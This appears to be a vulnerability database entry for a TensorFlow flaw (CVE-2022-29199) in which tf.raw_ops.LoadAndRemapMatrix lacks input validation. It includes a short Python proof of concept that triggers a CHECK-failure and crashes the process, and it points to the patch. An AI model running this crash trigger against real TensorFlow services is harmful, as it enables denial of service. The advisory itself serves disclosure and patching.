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BIT-tensorflow-2022-29199 — Missing validation causes denial of service in TensorFlow via `LoadAndRemapMatrix`

Affected: Bitnami: tensorflow

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.LoadAndRemapMatrix does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code assumes `initializing_values` is a vector but there is no validation for this before accessing its value. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

cnvd-2022-44167

EUVD-2026-232728

fkie_cve-2022-29199

GHSA-p9rc-rmr5-529j — Missing validation causes denial of service via `LoadAndRemapMatrix`

Affected: PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu

### Impact The implementation of [`tf.raw_ops.LoadAndRemapMatrix`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/load_and_remap_matrix_op.cc#L70-L98) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:

```python import tensorflow as tf

ckpt_path = tf.constant( "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string) old_tensor_name = tf.constant( "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)

row_remapping = tf.constant(0, shape=[], dtype=tf.int64) col_remapping = tf.constant(3, shape=[3], dtype=tf.int64) initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)

tf.raw_ops.LoadAndRemapMatrix( ckpt_path=ckpt_path, old_tensor_name=old_tensor_name, row_remapping=row_remapping, col_remapping=col_remapping, initializing_values=initializing_values, num_rows=1, num_cols=1) ```

The code assumes `initializing_values` is a vector but there is no validation for this before accessing its value:

```cc OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t)); const auto row_remapping = row_remapping_t->vec<int64_t>(); ```

### Patches We have patched the issue in GitHub commit [3150642acbbe254e3c3c5d2232143fa591855ac9](https://github.com/tensorflow/tensorflow/commit/3150642acbbe254e3c3c5d2232143fa591855ac9).

The fix…

gsd-2022-29199